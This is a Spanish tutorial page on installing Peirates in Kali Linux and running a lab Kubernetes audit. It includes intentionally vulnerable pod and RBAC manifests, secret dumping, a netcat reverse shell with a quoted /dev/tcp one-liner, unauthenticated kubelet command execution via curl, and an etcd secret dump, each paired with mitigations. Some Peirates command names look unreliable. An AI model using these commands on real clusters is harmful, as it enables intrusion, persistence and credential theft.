Instalar Peirates en Kali Linux

https://www.onlinetis.com/es/

Instalar Peirates en Kali Linux

Instalar Peirates en Kali Linux es bastante sencillo, ya que se encuentra en los repositorios oficiales de Kali.

Peirates es una herramienta de post-explotación diseñada específicamente para entornos Kubernetes. Permite automatizar tareas como la escalada de privilegios, el movimiento lateral y la recolección de tokens de cuentas de servicio.

Aquí tienes los pasos para instalarlo y los comandos básicos en español:

1. Actualizar el sistema

Antes de instalar cualquier paquete, es recomendable actualizar la lista de repositorios para asegurarte de obtener la versión más reciente:

Bash

sudo apt update

2. Instalar Peirates

Ejecuta el siguiente comando para realizar la instalación:

Bash

sudo apt install peirates

3. Verificar la instalación

Una vez instalado, puedes confirmar que funciona simplemente escribiendo su nombre en la terminal:

Bash

peirates

Cómo usar Peirates (Conceptos básicos)

Peirates funciona mediante una interfaz interactiva similar a la de Metasploit. Aquí tienes algunos comandos útiles:

help: Muestra la lista de comandos disponibles.
list: Muestra los módulos de ataque que puedes usar.
use [nombre_modulo]: Selecciona un módulo específico para configurar.
info: Muestra información detallada sobre el módulo seleccionado.
run: Ejecuta el ataque o la tarea de recolección.

[!IMPORTANT]
Nota de seguridad: Recuerda usar esta herramienta solo en entornos controlados o bajo autorización explícita. Atacar un clúster de Kubernetes sin permiso es ilegal y puede causar daños graves en la infraestructura.

Es un gran momento para aprender sobre la seguridad en la nube, ya que Kubernetes es prácticamente el estándar de la industria ahora mismo.

Como estás explorando, aquí tienes una "hoja de ruta" rápida de lo que puedes probar con Peirates para entender su potencial sin romper nada:

¿Qué puedes investigar primero?

Exploración de Service Accounts:
En un entorno real (o un laboratorio), Peirates busca automáticamente tokens en /var/run/secrets/kubernetes.io/serviceaccount/token. Puedes usar el comando get pods o get secrets dentro de la herramienta para ver qué alcance tiene el token actual.
Movimiento Lateral:
Prueba los módulos que intentan saltar de un nodo a otro. Peirates es muy bueno detectando si un contenedor tiene privilegios excesivos (como el modo --privileged), lo que te permitiría acceder al host subyacente.
Interfaz Interactiva:
Familiarízate con su flujo de trabajo. Al ser una herramienta inspirada en Metasploit, la curva de aprendizaje es suave si ya has usado msfconsole.

Laboratorios recomendados para practicar

Si no tienes un clúster a mano, no intentes probarlo en la nube de tu empresa (¡un error común!). Te sugiero estos entornos seguros y gratuitos:

Minikube / Kind: Puedes levantar un clúster local en tu propia máquina con Kali para "atacarte" a ti mismo.
Killercoda: Tiene escenarios de Kubernetes interactivos en el navegador donde puedes instalar herramientas y probar ataques.
Kubernetes Goat: Es un proyecto de "clúster vulnerable por diseño" perfecto para usar con Peirates.

Un pequeño consejo técnico

Peirates brilla cuando ya has logrado comprometer un Pod (un contenedor). No es una herramienta de "explotación inicial" (como un exploit de desbordamiento de búfer), sino de post-explotación. Su trabajo empieza cuando ya estás dentro y quieres ver qué tan lejos puedes llegar.

Realizar una auditoría en Kubernetes (K8s) con Peirates es un proceso fascinante pero delicado. Esta herramienta no solo busca vulnerabilidades, sino que simula el comportamiento de un atacante que ya ha logrado entrar en un pod.

Aquí tienes una guía estructurada para realizar una auditoría técnica:

1. El Modelo de Ataque de Peirates

A diferencia de los escáneres pasivos, Peirates se enfoca en la post-explotación. Su flujo de trabajo suele seguir este orden:

Enumeración: Identificar qué puede ver el pod actual (servicios, otros pods, nodos).
Recolección de Secretos: Buscar tokens de cuentas de servicio (ServiceAccounts) en el sistema de archivos.
Movimiento Lateral/Escalada: Intentar usar esos tokens para hablar con la API de Kubernetes y obtener más privilegios.

2. Pasos para la Auditoría

Fase A: Preparación del Entorno

Para que Peirates funcione, normalmente debes ejecutarlo desde dentro de un pod o tener acceso al archivo kubeconfig del clúster.

Si estás dentro de un pod: Peirates intentará usar automáticamente el token en /var/run/secrets/kubernetes.io/serviceaccount/token.
Si estás externo: Asegúrate de que tu variable de entorno KUBECONFIG apunte al clúster objetivo.

Fase B: Comandos Clave en Peirates

Una vez que inicies peirates en tu terminal de Kali, sigue este flujo:

Acción	Comando	Descripción
Listar Objetivos	`list-targets`	Muestra los recursos que Peirates ha detectado.
Ver Privilegios	`check-permissions`	Determina qué acciones (get, list, create) puedes hacer.
Extraer Tokens	`get-secrets`	Intenta volcar secretos del clúster si tienes permisos de lectura.
Ganar Control	`reverse-shell`	Configura una shell inversa si logras inyectar un pod malicioso.

3. Puntos Críticos a Auditar

Durante tu prueba, presta especial atención a estos "pecados capitales" de la configuración de K8s:

RBAC Permisivo: ¿Puede un pod cualquiera listar todos los Secrets del namespace default? (Usa el módulo get-secrets).
Montaje de Docker Socket: Si el pod tiene acceso a /var/run/docker.sock, puedes saltar al host (el nodo físico).
Privileged Containers: Verifica si puedes ejecutar comandos con privilegios de root sobre el nodo usando el módulo de escape.

4. Generación del Informe

Al terminar, una auditoría profesional no solo dice "entré", sino "cómo arreglarlo". Tus recomendaciones deberían incluir:

Principio de Menor Privilegio: Restringir los roles RBAC.
Network Policies: Bloquear la comunicación innecesaria entre pods.
Pod Security Admissions: Evitar que se desplieguen pods con privilegios de root.

[!TIP]
Si quieres complementar Peirates con una herramienta de análisis estático (que revise los archivos YAML antes de desplegar), te recomiendo instalar también Kube-bench o Kube-hunter.

Para simular un escenario de auditoría real, lo ideal es desplegar un pod "vulnerable" o de herramientas que te permita ejecutar Peirates desde dentro del clúster. Esto es lo que se conoce como simular un "compromiso de pod".

Aquí tienes los pasos para desplegar un pod de prueba en un entorno controlado (como Minikube, Kind o un clúster de desarrollo).

1. Crear el archivo de manifiesto (YAML)

Crea un archivo llamado pod-auditoria.yaml. Vamos a configurar este pod con una imagen de Kali Linux ligera o Ubuntu para que puedas instalar tus herramientas.

YAML
apiVersion: v1
kind: Pod
metadata:
  name: pod-pericial-test
  labels:
    app: auditoria
spec:
  containers:
  - name: kali-container
    image: kalilinux/kali-rolling
    command: ["/bin/bash", "-c", "sleep infinity"]
    # En una auditoría real, buscarías pods con montajes sensibles:
    volumeMounts:
    - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
      name: kube-api-access
      readOnly: true
  volumes:
  - name: kube-api-access
    projected:
      sources:
      - serviceAccountToken:
          path: token
          expirationSeconds: 3607
      - configMap:
          items:
          - key: ca.crt
            path: ca.crt
          name: kube-root-ca.crt

2. Desplegar el Pod

Usa kubectl para enviar el diseño al clúster:

Bash

kubectl apply -f pod-auditoria.yaml

Verifica que esté corriendo:

Bash

kubectl get pods pod-pericial-test

3. Acceder al Pod e instalar Peirates

Una vez que el pod esté en estado Running, "entra" en él para empezar la auditoría desde dentro:

Bash

kubectl exec -it pod-pericial-test -- /bin/bash

Dentro del pod (que ahora es tu terminal de ataque), instala Peirates:

Bash

apt update && apt install -y peirates

4. El "Escenario de Auditoría" (Prueba de concepto)

Ahora que estás dentro, puedes simular el ataque. Peirates buscará automáticamente el token en la ruta por defecto.

Inicia Peirates:
Bash
```
peirates
```
Intenta listar los privilegios actuales:
Dentro de la consola de Peirates, escribe:
check-permissions

¿Qué observar?
Si el pod tiene el ServiceAccount por defecto (default), lo normal es que no tenga muchos permisos. Pero si el administrador cometió el error de asignar un ClusterRoleBinding excesivo a esa cuenta, ¡Peirates te lo mostrará de inmediato!

Tip de Auditor: El ataque de "Escapada"

Si quieres probar algo más avanzado, intenta desplegar el pod con la opción hostPath montada (como /var/run/docker.sock). Eso le permitiría a Peirates intentar saltar del contenedor al nodo físico (el servidor que aloja el clúster).

Para auditar una escalada de privilegios (privilege escalation), vamos a modificar el archivo YAML para crear un pod "peligroso". En una auditoría real, esto es lo que buscarías: pods mal configurados que permiten a un atacante tomar el control total del nodo físico (el servidor).

1. El Manifiesto del "Pod Inseguro"

Crea un archivo llamado pod-vulnerable.yaml. Este diseño incluye las tres vulnerabilidades más comunes que Peirates sabe explotar:

YAML
apiVersion: v1
kind: Pod
metadata:
  name: pod-auditoria-critica
spec:
  containers:
  - name: exploit-container
    image: kalilinux/kali-rolling
    command: ["/bin/bash", "-c", "sleep infinity"]
    securityContext:
      # VULNERABILIDAD 1: Ejecutar como root con privilegios totales
      privileged: true
    volumeMounts:
    # VULNERABILIDAD 2: Acceso directo al sistema de archivos del NODO
    - mountPath: /host
      name: host-root
    # VULNERABILIDAD 3: Acceso al socket de Docker (permite crear otros contenedores)
    - mountPath: /var/run/docker.sock
      name: docker-socket
  volumes:
  - name: host-root
    hostPath:
      path: /
  - name: docker-socket
    hostPath:
      path: /var/run/docker.sock

2. Despliegue y Ejecución

Aplica el archivo:

Bash

kubectl apply -f pod-vulnerable.yaml

Entra al pod e instala Peirates:

Bash

kubectl exec -it pod-auditoria-critica -- /bin/bash
apt update && apt install -y peirates

3. Explotación con Peirates

Una vez dentro de la consola de Peirates, verás por qué estas configuraciones son críticas:

Escapar al Host:
Al tener montado /host, Peirates puede intentar escribir en el crontab del nodo o modificar archivos de SSH para que tú puedas entrar al servidor real, no solo al contenedor.
Comando en Peirates: escape-host
Abuso de Privilegios:
Como el contenedor es privileged: true, tienes acceso a todos los dispositivos del sistema (/dev). Peirates puede usar esto para montar discos duros del servidor que no deberían estar visibles.
Robo de Tokens de otros Pods:
Si logras saltar al host, puedes navegar hasta /var/lib/kubelet/pods/ y robar los tokens de todos los demás pods que se ejecutan en ese mismo servidor.

4. ¿Cómo mitigar esto en tu reporte de auditoría?

Si Peirates logra comprometer el nodo usando este pod, tu recomendación técnica debe ser implementar Pod Security Admissions (o herramientas como Kyverno/OPA) para prohibir:

privileged: true: Ningún pod debería necesitar privilegios totales de kernel.
hostPath mounts: Evitar que los pods vean el disco duro del servidor físico.
Root Containers: Forzar a que los contenedores corran con un usuario sin privilegios (UID no zero).

Auditar el RBAC (Role-Based Access Control) es vital porque, a diferencia del escape de nodo (que requiere una mala configuración del contenedor), un RBAC permisivo es un error de lógica de permisos en la propia API de Kubernetes.

Si un Pod tiene un Token con demasiados permisos, un atacante no necesita "romper" el contenedor; simplemente le pide amablemente a la API de Kubernetes que le dé todo el control.

1. Preparar el Escenario de "Permisos Excesivos"

Vamos a crear una ServiceAccount (cuenta de servicio) y le daremos, por error, permisos de administrador sobre los secretos del clúster.

Crea un archivo llamado rbac-vulnerable.yaml:

YAML
apiVersion: v1
kind: ServiceAccount
metadata:
  name: auditor-limitado-sa
---
# EL ERROR: Darle permiso de "get" y "list" en todos los secretos
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: leer-secretos-global
rules:
- apiGroups: [""]
  resources: ["secrets"]
  verbs: ["get", "list"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: error-de-asignacion
subjects:
- kind: ServiceAccount
  name: auditor-limitado-sa
  namespace: default
roleRef:
  kind: ClusterRole
  name: leer-secretos-global
  apiGroup: rbac.authorization.k8s.io
---
# El Pod que usará esta cuenta "peligrosa"
apiVersion: v1
kind: Pod
metadata:
  name: pod-rbac-test
spec:
  serviceAccountName: auditor-limitado-sa
  containers:
  - name: kali-container
    image: kalilinux/kali-rolling
    command: ["/bin/bash", "-c", "sleep infinity"]

Aplica la configuración:

Bash

kubectl apply -f rbac-vulnerable.yaml

2. Ejecutar la Auditoría con Peirates

Entra al pod e instala la herramienta como hicimos antes:

Bash

kubectl exec -it pod-rbac-test -- /bin/bash
apt update && apt install -y peirates
peirates

Paso A: Enumerar permisos

Dentro de la consola de Peirates, lo primero es saber quiénes somos y qué podemos hacer:

check-permissions

Peirates te dirá: "You can list secrets" o "You can get secrets".

Paso B: Robar Secretos

Ahora, intenta extraer información sensible de otros servicios (como contraseñas de bases de datos o tokens de administración):

get-secrets

Verás una lista de todos los secretos del clúster. Si hay un secreto llamado admin-token, ¡felicidades!, has escalado privilegios a Cluster Admin.

3. ¿Cómo reportar y arreglar esto?

En una auditoría real, este hallazgo se califica como CRÍTICO. Las recomendaciones son:

Implementar el "Privilegio Mínimo": Los Pods solo deben tener acceso a los recursos que necesitan para funcionar.
No usar automountServiceAccountToken: true: Si un Pod no necesita hablar con la API de Kubernetes, desactiva el montaje automático del token en el YAML del Pod.
Auditoría de Roles: Usar herramientas como kubectl-who-can para revisar quién tiene permisos peligrosos regularmente.

Resumen de tu Laboratorio de Auditoría

Hasta ahora has aprendido a auditar:

Escapes de Contenedor: (Uso de privileged y hostPath).
Abuso de RBAC: (Tokens con permisos excesivos).

Establecer una Shell Inversa (Reverse Shell) es el paso final en una auditoría de explotación. Sirve para demostrar que un atacante puede mantener el control del clúster incluso si el pod original se detiene o si se cierran las sesiones interactivas.

En Kubernetes, Peirates facilita esto automatizando la creación de un nuevo pod malicioso que se conecta de vuelta a tu máquina de Kali Linux.

1. Preparar el "Escritorio" (Tu máquina Kali)

Antes de lanzar el ataque desde el pod comprometido, necesitas poner tu máquina local a la escucha. Abre una nueva terminal en tu Kali Linux (fuera del clúster) y ejecuta:

Bash

nc -lvnp 4444

Esto deja a netcat esperando una conexión entrante en el puerto 4444.

2. Ejecutar la Shell Inversa con Peirates

Regresa a la terminal donde tienes abierto Peirates dentro del pod de prueba (pod-rbac-test o pod-vulnerable).

Sigue estos pasos dentro de la consola de Peirates:

Configurar el módulo:
Escribe el comando para ver las opciones de reverse shell:
use reverse-shell
Configurar tu IP y Puerto:
Debes decirle a Peirates a qué IP (la de tu Kali) debe conectarse.
set LHOST <TU_IP_DE_KALI>
set LPORT 4444
Lanzar el ataque:
run

¿Qué sucede detrás de escena?

Si tienes permisos de creación de pods (RBAC débil), Peirates enviará una instrucción a la API de Kubernetes para:

Crear un nuevo Pod (invisible o con nombre aleatorio).
Ese pod ejecutará un comando (como bash -i >& /dev/tcp/IP/PORT 0>&1).
Kubernetes descargará la imagen y ejecutará el comando, enviándote la terminal a tu netcat.

3. Verificación del Éxito

Si todo sale bien, en tu terminal donde pusiste el nc -lvnp 4444, verás algo como esto:

connect to [IP] from (UNKNOWN) [IP] 54321

Ahora tienes una terminal dentro de un nuevo pod del clúster, pero controlada desde tu máquina externa.

4. Mitigación: Cómo detener esto (Tu reporte final)

Para un administrador de Kubernetes, ver una shell inversa es una pesadilla. En tu informe de auditoría, las soluciones definitivas son:

Network Policies (Políticas de Red): Configurar el clúster para que los pods no puedan realizar conexiones salientes (Egress) a internet o a IPs desconocidas. Solo deberían hablar con lo que necesitan.
Runtime Security (Falco / Tetragon): Instalar herramientas que detecten comportamientos sospechosos, como el inicio de una shell (sh o bash) dentro de un contenedor en producción.
Read-Only Root Filesystem: Forzar a que los contenedores tengan el sistema de archivos de solo lectura, dificultando la instalación de herramientas de ataque en caliente.

Resumen de tu Auditoría Completa

Has pasado por todo el ciclo de vida de un ataque a Kubernetes:

Instalación: Configurar herramientas en Kali.
Intrusión: Desplegar pods vulnerables.
Enumeración: Revisar permisos RBAC.
Escalada: Explotar malas configuraciones de seguridad.
Persistencia: Crear una Shell Inversa.

Atacar el Kubelet directamente es uno de los vectores más críticos porque el Kubelet es el "agente" que corre en cada nodo y tiene control total sobre los contenedores de ese host. Si el Kubelet está mal configurado, un atacante puede saltarse por completo la API central de Kubernetes.

Aquí te explico cómo auditar este vector, centrándonos en el puerto 10250 (la API del Kubelet).

1. El Puerto 10250: La Puerta Trasera

Por defecto, el Kubelet escucha en el puerto 10250. Si la autenticación y autorización no están configuradas correctamente (--anonymous-auth=false), cualquier persona con acceso a la red del nodo puede ejecutar comandos en los pods.

Cómo auditarlo desde Kali:

Puedes usar curl para verificar si el Kubelet permite el acceso anónimo:

Bash

# Intentar listar los pods del nodo
curl -sk https://<NODE_IP>:10250/pods

Si recibes un JSON con la lista de pods, el Kubelet es vulnerable.

2. Ejecución de Comandos (RCE) vía Kubelet

Si el acceso anónimo está activo, puedes ejecutar comandos directamente en cualquier contenedor del nodo sin pasar por el registro de auditoría de kubectl.

Pasos para la explotación:

Identificar el Pod: Del JSON anterior, obtén el namespace, el pod name y el container name.

Enviar el comando:

Bash

curl -XPOST -sk "https://<NODE_IP>:10250/run/<namespace>/<pod_name>/<container_name>" -d "cmd=whoami"

3. El Puerto 10255 (Read-Only Port)

Antiguamente, el puerto 10255 estaba abierto sin autenticación para métricas. Aunque no permite ejecutar comandos, permite una fase de reconocimiento brutal:

Muestra variables de entorno (que suelen tener contraseñas).
Muestra la estructura interna del clúster.

Auditoría rápida: curl -sk http://<NODE_IP>:10255/pods

4. Ataque al Kubelet mediante el archivo de configuración

Si lograste entrar al nodo (por ejemplo, con el "Escape de Host" que vimos antes), puedes buscar el archivo de configuración del Kubelet (usualmente en /var/lib/kubelet/config.yaml o /etc/kubernetes/kubelet.conf).

Qué buscar en la auditoría:

staticPodPath: Si esta ruta existe, puedes crear un archivo YAML ahí y el Kubelet ejecutará el pod automáticamente con privilegios de root, sin que aparezca en el servidor de la API principal. Es la técnica perfecta de persistencia oculta.

5. Mitigación para tu Reporte

Para cerrar este vector de ataque, tu informe debe exigir los siguientes cambios en la configuración del Kubelet:

Parámetro	Valor Recomendado	Motivo
`--anonymous-auth`	`false`	Desactiva el acceso sin credenciales al puerto 10250.
`--authorization-mode`	`Webhook`	Fuerza al Kubelet a preguntar a la API principal si el usuario tiene permiso.
`--read-only-port`	`0`	Desactiva el puerto 10255 para evitar fuga de información.

¿Cuál es el siguiente nivel?

Ahora que hemos cubierto el control de los nodos y el RBAC, podríamos explorar los Ataques a la Cadena de Suministro (como inyectar imágenes maliciosas en el registro que el clúster descarga automáticamente) o profundizar en el Etcd, que es la base de datos "cerebro" donde Kubernetes guarda absolutamente todo en texto plano si no está cifrado.

Atacar el Etcd es el "Santo Grial" para un auditor o un atacante, porque es la base de datos distribuida donde Kubernetes guarda todo el estado del clúster: configuraciones, secretos, tokens de cuentas de servicio y estados de los pods.

Si logras acceder al Etcd, no necesitas explotar pods ni engañar al Kubelet; simplemente lees la base de datos y extraes las llaves maestras del reino.

1. El Riesgo: Etcd Expuesto

El Etcd suele correr en el puerto 2379. Por defecto, debería estar protegido por certificados TLS mutuos (mTLS), lo que significa que solo los componentes autorizados (como el API Server) pueden hablar con él.

El vector de ataque ocurre cuando:

El puerto 2379 es accesible desde la red (sin firewall).
Se desactivó la autenticación por error.
Lograste entrar a un nodo maestro y tienes acceso a los certificados en /etc/kubernetes/pki/etcd/.

2. Auditoría desde Kali Linux

Si estás en la misma red que el nodo maestro, puedes usar etcdctl (la herramienta de línea de comandos para Etcd).

Instalar herramientas:

Bash

sudo apt install etcd-client

Intento de acceso anónimo (Escaneo):

Bash

# Probar si responde sin certificados
etcdctl --endpoints=https://<MASTER_IP>:2379 endpoint health

Extracción de Secretos (Si tienes los certificados):

Si durante tu auditoría lograste entrar al nodo maestro, puedes usar los certificados locales para volcar toda la base de datos:

Bash

ETCDCTL_API=3 etcdctl \
  --endpoints=https://127.0.0.1:2379 \
  --cacert=/etc/kubernetes/pki/etcd/ca.crt \
  --cert=/etc/kubernetes/pki/etcd/server.crt \
  --key=/etc/kubernetes/pki/etcd/server.key \
  get / --prefix --keys-only

Este comando listará todas las llaves almacenadas. Verás rutas como /registry/secrets/default/admin-token.

3. El "Dump" de Secretos en Texto Plano

Lo más crítico que descubrirás en una auditoría de Etcd es si los secretos están cifrados en reposo.

Por defecto, Kubernetes guarda los secretos en base64 (que no es cifrado, es solo codificación). Si haces un get de un secreto directamente en Etcd y puedes leer la contraseña de la base de datos o un token de admin, el clúster es vulnerable.

4. Mitigación: Blindando el Cerebro del Clúster

En tu informe de auditoría, para proteger el Etcd debes recomendar:

EncryptionConfiguration: Implementar el cifrado en reposo. Esto hace que, aunque alguien robe el disco duro o acceda al Etcd, los datos se vean como basura ilegible.
Aislamiento de Red: El puerto 2379 nunca debe ser accesible desde fuera de los nodos maestros. Usa reglas de firewall (Security Groups) estrictas.
Certificados Dedicados: Asegurarse de que el Etcd use su propia Autoridad de Certificación (CA) distinta a la del resto del clúster.

Conclusión de la Auditoría Técnica

Has recorrido el camino completo desde la aplicación (Pods) hasta el corazón de la infraestructura (Etcd). En este punto, tienes suficiente información para redactar un informe de seguridad de alto nivel.